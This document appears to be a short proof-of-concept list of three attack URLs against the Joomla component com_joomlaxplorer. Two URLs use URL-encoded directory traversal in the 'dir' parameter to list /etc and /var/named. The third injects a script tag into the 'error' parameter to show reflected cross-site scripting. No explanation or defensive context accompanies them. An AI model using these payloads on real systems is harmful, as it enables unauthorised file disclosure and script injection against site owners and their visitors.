http://www.example.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc
http://www.example.com/joomla/index.php?option=com_joomlaxplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
http://www.example.com/path/index.php?option=com_joomlaxplorer&action=show_error&dir=hsmx&order=name&srt=yes&error=%22%3E%3Cscript%3Ealert(1);%3C/script%3E